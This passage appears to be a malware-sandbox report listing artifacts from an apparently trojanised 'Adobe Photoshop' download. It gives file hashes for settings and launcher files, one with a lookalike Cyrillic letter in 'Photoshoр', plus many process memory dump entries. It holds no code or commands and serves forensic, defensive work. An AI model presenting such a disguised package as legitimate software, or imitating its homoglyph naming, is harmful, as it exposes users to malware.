C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Settings\GIF Restrictive.irs

Filesize
1KB

MD5
0ac14e93b376485426d89e1a8c45b550

SHA1
7d8e9a480a8b0b63e80bb0cc5d69ae26081d6487

SHA256
27eaef3db44e24184ebc5889b52fba6520181bdfff38ebd5177d0dc22f4b6997

SHA512
b9c0ec2636e747c26c4e710832c63ea4c63aad458908295e27c8edcf05ff87080bfa0d3928e8a0ea87cb445417b19ba7c337689b86a5a5706396dcb704450117

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Settings\JPEG High.irs

Filesize
1KB

MD5
31136ad10e4a6ddfbbdb0e43450ee807

SHA1
625f10ed8279dd4817edf6647377850dbb143c8b

SHA256
f92725bf700740d363b65b17db8b8a046a902cca633958bb0981f865dcbbab8d

SHA512
e3b8db519e8a0d9c15501021d45590b4ce255c3e20f861f9fc0fdb9aa1eeb4ca662e66574bb3cae1ee66b4f38fa3bbadaade8510b0e4ac67daec7d19dbdf66b9

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Settings\JPEG Low.irs

Filesize
1KB

MD5
fc1006b3bbee65db068e678791b21bb5

SHA1
324e0ef9d6e8fb5d360399dcac7ccf92935e8210

SHA256
92f9af9f17d5472ae78eb413f9dd687ba85e2f453803f938b236bcad01b9409d

SHA512
a383330fadacb3bcc759eb79a3d6b310a331473edca6e0aa5c51a62dee0924ff464ce7620f758db5d472a64473c8d94bae72191fc42c49802afa85d06c4774b2

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Settings\JPEG Medium.irs

Filesize
1KB

MD5
0dab5f6093cf873d00fd862e81707001

SHA1
d46c8b9309e4fa3ffb03f59ec1f21288e548ba32

SHA256
f4c423ffb3396522f9006821f5635f89978330703e3a0b15e771d60179e1044f

SHA512
2e506f617f6a51b1a4dffa514850d0c07ec292fbef6e9327db4297693d5b88d8dd158e56cc17de4c5dabb33d484d94941ee51a9fb229007093306a4aae30d5a0

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Settings\PNG-24.irs

Filesize
1KB

MD5
87097b17b1172758411e6cf4a2f8675f

SHA1
6bc04875f9b52c063eba62775dfdc05be24a4d12

SHA256
69d5c9c09d6a1df1b75de3521ee512d3b63efe3c6a101278f167796ae6327aee

SHA512
19975478ac762ca8a2af0c3599be404e831e2702a031dba0a44369f245da2ac15e21671a1173bc0b01b53bb82b08afda39e902a9210c095bc984373eb36f59ad

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Settings\PNG-8 128 Dithered.irs

Filesize
1KB

MD5
168a9f065272fb22e6eb9eb71fd48ad3

SHA1
4ee93d850b30c42fa8d724fa677212960870db33

SHA256
e919871d222f9aeee3d88339c03fb7737f54345c854748689c1414103006c2fc

SHA512
9b1cc741d196033ed60574fb70303f6afbb2daf15574d47b07931dfef899fbd24501834c0f857a46313d856e0817d9981ee15f69b88a00678188b50a8cd4b180

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataRoaming\Adobe Photoshop 2022\Adobe Photoshop 2022 Settings\Brushes.psp

Filesize
1.2MB

MD5
424e6fa4eaa09d22fa4ad047b02a388b

SHA1
6a84e025143bcb4cf3935761ef6d17a6fefc1766

SHA256
a1aa9f899093ef800cbdd83d8f42186d66e5706c5663450a3ede6cdbd0b7a73b

SHA512
93dbe2fcd3c8f4fe119968ced74db77476dca2f0a7e52572f1082cb8b9ab224825cf63cb7ac515bf842ad110c673bcfe513d307b78e05b76396644d300b76987

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataRoaming\Adobe Photoshop 2022\Adobe Photoshop 2022 Settings\Default Type Styles.psp

Filesize
38KB

MD5
597af49aa78f652ada593b29f845d075

SHA1
84f55b8d0748fc079506241af30d10ef5ccce301

SHA256
bdbf908a80607db97f9f98ca76a008478ad12f96ea9c21d04680997a625bd886

SHA512
4c52b1312a7a9357afadc10b53e7c724c3af081e32918ac73ead12df2dd036a9bc34b297c426a34ee49b6452459c3c5dbd0e010ced10daf031be7e93a49e3d5d

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataRoaming\Adobe Photoshop 2022\Adobe Photoshop 2022 Settings\Keyboard Shortcuts Primary.psp

Filesize
24KB

MD5
f89308195f11fe39091189ccae4a88af

SHA1
1b5bf5eac1a9a19816f78c8926f40e76f34f7059

SHA256
82028a5057cfa574a06907343f3482f62a74d0e1394b22cf73fabb3a2a3b43e1

SHA512
a6917dc5beb7c9a268162d087c3ba4f6ec4e6533d4669adaae07e8924277a072be832988c36e93b6d2280d96e3edf5c0417e139f8489bdeb2876d42726f04977

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\PortableApps.comLauncherRuntimeData-Photoshoр.ini

Filesize
86B

MD5
e8424a7e7139089bb02d1491bd8dbc0b

SHA1
5822ebc6b0a8814f6f5aa75760d106e8b9de9316

SHA256
908a480cbf034278ef33ef821fa3b1d111be60eb897020670d799ca3c372ae60

SHA512
a3318ed244dfe29665fb0e53a457e2972f08bdab8464005f6e503427b83b65a3571b4c93343d04c2247e02e52b68d9c0e6871823de46b31c843cd74669fc1180

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\PortableApps.comLauncherRuntimeData-Photoshoр.ini

Filesize
86B

MD5
42e2b8e7bc37ec9cd041d897934278a4

SHA1
bda195ec52f20258c453760b8faf3fc39f3549e8

SHA256
421dba698977e42613ccd194ba9feaf8e0bba208bb467b38c4b95821c9207e19

SHA512
54ed4b79abd717fcecb33c2627cdac1ee95d13c33e875af6f6cbcf70e8f50b7ff93ed88417bb939ba09c48223bd33c1d8011b31909b0d96b5d1f0910abbfe8bf

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\PortableApps.comLauncherRuntimeData-Photoshoр.ini

Filesize
86B

MD5
c93890db9e2781e62507e5510b8d03f6

SHA1
7bd35a72b95ddd3cc710f9caa5b51d521195c155

SHA256
a09322e3cbb9d104028009cb5d01129384becd28189fb04411a16e65ce9b895e

SHA512
48b81f5cd6b8e3fa0d18123f71af31a99bc842413f21f5f69d88c3a3f1f419b298632e895b134cd4be424dc8fe273f155fee87167404f61c3b49f74f435adac2

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\settings\PhotoshopSettings.ini

Filesize
183B

MD5
1cecb241a0384a2eea23db2a783e0ef8

SHA1
5be5ac9e71f71635eb359b6ebfcd7e6d19cf64f0

SHA256
1e4e532facca98b06ab23650e638c60ff74762abcc167e237e9fb43f4f041b87

SHA512
65a7546e2aac02040ebdccbd55eac5b8090398d9b50ff84557699e4be040ddd48ecc5fb9b007f402d819847f4aa9e710d1dbd68bae6d917f84daa0c4150a288d

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 33439.crdownload

Filesize
1.5MB

MD5
f1320bd826092e99fcec85cc96a29791

SHA1
c0fa3b83cf9f9ec5e584fbca4a0afa9a9faa13ed

SHA256
ad12cec3a3957ff73a689e0d65a05b6328c80fd76336a1b1a6285335f8dab1ba

SHA512
c6ba7770de0302dd90b04393a47dd7d80a0de26fab0bc11e147bf356e3e54ec69ba78e3df05f4f8718ba08ccaefbd6ea0409857973af3b6b57d271762685823a

Download Submit
memory/2312-6761-0x0000000000400000-0x0000000002853000-memory.dmp

Filesize
36.3MB

Download
memory/2652-6748-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2652-6757-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2652-6750-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2652-6752-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2652-6756-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2652-6754-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2652-6755-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2652-6746-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2652-6758-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2652-6753-0x000001A1B1650000-0x000001A1B1670000-memory.dmp

Filesize
128KB

Download
memory/2652-6751-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2652-6749-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2652-6747-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/3372-6708-0x0000000000400000-0x0000000002853000-memory.dmp

Filesize
36.3MB

Download
memory/3460-6644-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/3496-6547-0x0000000006190000-0x00000000061B2000-memory.dmp

Filesize
136KB

Download
memory/3496-6560-0x0000000006910000-0x000000000692E000-memory.dmp

Filesize
120KB

Download
memory/3496-6473-0x0000000003020000-0x0000000003056000-memory.dmp

Filesize
216KB

Download
memory/3496-6527-0x0000000005B30000-0x0000000006158000-memory.dmp

Filesize
6.2MB

Download
memory/3496-6548-0x0000000006260000-0x00000000062C6000-memory.dmp

Filesize
408KB

Download
memory/3496-6549-0x00000000062E0000-0x0000000006346000-memory.dmp

Filesize
408KB

Download
memory/3496-6559-0x0000000006350000-0x00000000066A4000-memory.dmp

Filesize
3.3MB

Download
memory/3496-6578-0x0000000007F80000-0x0000000008524000-memory.dmp

Filesize
5.6MB

Download
memory/3496-6561-0x0000000006960000-0x00000000069AC000-memory.dmp

Filesize
304KB

Download
memory/3496-6575-0x0000000007920000-0x00000000079B6000-memory.dmp

Filesize
600KB

Download
memory/3496-6576-0x0000000006E30000-0x0000000006E4A000-memory.dmp

Filesize
104KB

Download
memory/3496-6577-0x0000000006E80000-0x0000000006EA2000-memory.dmp

Filesize
136KB

Download
memory/3692-6649-0x00007FFCC7B90000-0x00007FFCC7B92000-memory.dmp

Filesize
8KB

Download
memory/3692-6652-0x0000000140000000-0x0000000140E40000-memory.dmp

Filesize
14.2MB

Download
memory/3692-6650-0x00007FFCC7BA0000-0x00007FFCC7BA2000-memory.dmp

Filesize
8KB

Download
memory/4008-6735-0x00000243A3990000-0x00000243A3996000-memory.dmp

Filesize
24KB

Download
memory/4008-6732-0x00000243A3750000-0x00000243A3805000-memory.dmp

Filesize
724KB

Download
memory/4008-6731-0x00000243A3730000-0x00000243A374C000-memory.dmp

Filesize
112KB

Download
memory/4008-6733-0x00000243A34E0000-0x00000243A34EA000-memory.dmp

Filesize
40KB

Download
memory/4008-6734-0x00000243A39B0000-0x00000243A39CA000-memory.dmp

Filesize
104KB

Download
memory/4204-6705-0x000001CC32DE0000-0x000001CC32DEA000-memory.dmp

Filesize
40KB

Download
memory/4204-6704-0x000001CC32DD0000-0x000001CC32DD8000-memory.dmp

Filesize
32KB

Download
memory/4204-6703-0x000001CC32C60000-0x000001CC32C6A000-memory.dmp

Filesize
40KB

Download
memory/4204-6683-0x000001CC328A0000-0x000001CC328C2000-memory.dmp

Filesize
136KB

Download
memory/4204-6702-0x000001CC32C70000-0x000001CC32C8C000-memory.dmp

Filesize
112KB

Download
memory/5128-6635-0x0000000002100000-0x0000000002500000-memory.dmp

Filesize
4.0MB

Download
memory/5128-6638-0x0000000074F90000-0x00000000751A5000-memory.dmp

Filesize
2.1MB

Download
memory/5128-6633-0x00000000003E0000-0x00000000003E9000-memory.dmp

Filesize
36KB

Download
memory/5128-6636-0x00007FFCC7990000-0x00007FFCC7B85000-memory.dmp

Filesize
2.0MB

Download
memory/5148-6562-0x0000020CE35D0000-0x0000020CE35D1000-memory.dmp

Filesize
4KB

Download
memory/5148-6568-0x0000020CE35D0000-0x0000020CE35D1000-memory.dmp

Filesize
4KB

Download
memory/5148-6570-0x0000020CE35D0000-0x0000020CE35D1000-memory.dmp

Filesize
4KB

Download
memory/5148-6574-0x0000020CE35D0000-0x0000020CE35D1000-memory.dmp

Filesize
4KB

Download
memory/5148-6573-0x0000020CE35D0000-0x0000020CE35D1000-memory.dmp

Filesize
4KB

Download
memory/5148-6569-0x0000020CE35D0000-0x0000020CE35D1000-memory.dmp

Filesize
4KB

Download
memory/5148-6564-0x0000020CE35D0000-0x0000020CE35D1000-memory.dmp

Filesize
4KB

Download
memory/5148-6563-0x0000020CE35D0000-0x0000020CE35D1000-memory.dmp

Filesize
4KB

Download
memory/5148-6572-0x0000020CE35D0000-0x0000020CE35D1000-memory.dmp

Filesize
4KB

Download
memory/5148-6571-0x0000020CE35D0000-0x0000020CE35D1000-memory.dmp

Filesize
4KB

Download
memory/5220-6632-0x0000000074F90000-0x00000000751A5000-memory.dmp

Filesize
2.1MB

Download
memory/5220-6639-0x0000000000400000-0x000000000249B000-memory.dmp

Filesize
32.6MB

Download
memory/5220-6629-0x00000000052B0000-0x00000000056B0000-memory.dmp

Filesize
4.0MB

Download
memory/5220-6628-0x00000000052B0000-0x00000000056B0000-memory.dmp

Filesize
4.0MB

Download
memory/5220-6782-0x0000023AAAB90000-0x0000023AAABB0000-memory.dmp

Filesize
128KB

Download
memory/5220-6792-0x0000023AAB1A0000-0x0000023AAB1C0000-memory.dmp

Filesize
128KB

Download
memory/5220-6630-0x00007FFCC7990000-0x00007FFCC7B85000-memory.dmp

Filesize
2.0MB

Download
memory/5220-6770-0x0000023AAABD0000-0x0000023AAABF0000-memory.dmp

Filesize
128KB

Download
memory/5220-6765-0x00000232A8C40000-0x00000232A8D40000-memory.dmp

Filesize
1024KB

Download
memory/5436-6611-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/5476-6655-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/5484-6711-0x0000000140000000-0x0000000140E40000-memory.dmp

Filesize
14.2MB

Download
memory/5520-6600-0x00000000072C0000-0x0000000007363000-memory.dmp

Filesize
652KB

Download
memory/5520-6599-0x0000000007240000-0x000000000725E000-memory.dmp

Filesize
120KB

Download
memory/5520-6607-0x0000000007680000-0x0000000007688000-memory.dmp

Filesize
32KB

Download
memory/5520-6603-0x0000000007610000-0x0000000007621000-memory.dmp

Filesize
68KB

Download
memory/5520-6604-0x0000000007640000-0x000000000764E000-memory.dmp

Filesize
56KB

Download
memory/5520-6605-0x0000000007650000-0x0000000007664000-memory.dmp

Filesize
80KB

Download
memory/5520-6606-0x0000000007690000-0x00000000076AA000-memory.dmp

Filesize
104KB

Download
memory/5520-6588-0x0000000007280000-0x00000000072B2000-memory.dmp

Filesize
200KB

Download
memory/5520-6589-0x0000000074BE0000-0x0000000074C2C000-memory.dmp

Filesize
304KB

Download
memory/5520-6602-0x0000000007480000-0x000000000748A000-memory.dmp

Filesize
40KB

Download
memory/5520-6601-0x0000000007A50000-0x00000000080CA000-memory.dmp

Filesize
6.5MB

Download
memory/5640-6620-0x00007FF66A2A0000-0x00007FF66B2A0000-memory.dmp

Filesize
16.0MB

Download
memory/6124-6681-0x0000000000400000-0x0000000002853000-memory.dmp

Filesize
36.3MB

Download
memory/6124-6738-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6124-6739-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6124-6740-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6124-6741-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6124-6745-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6124-6742-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download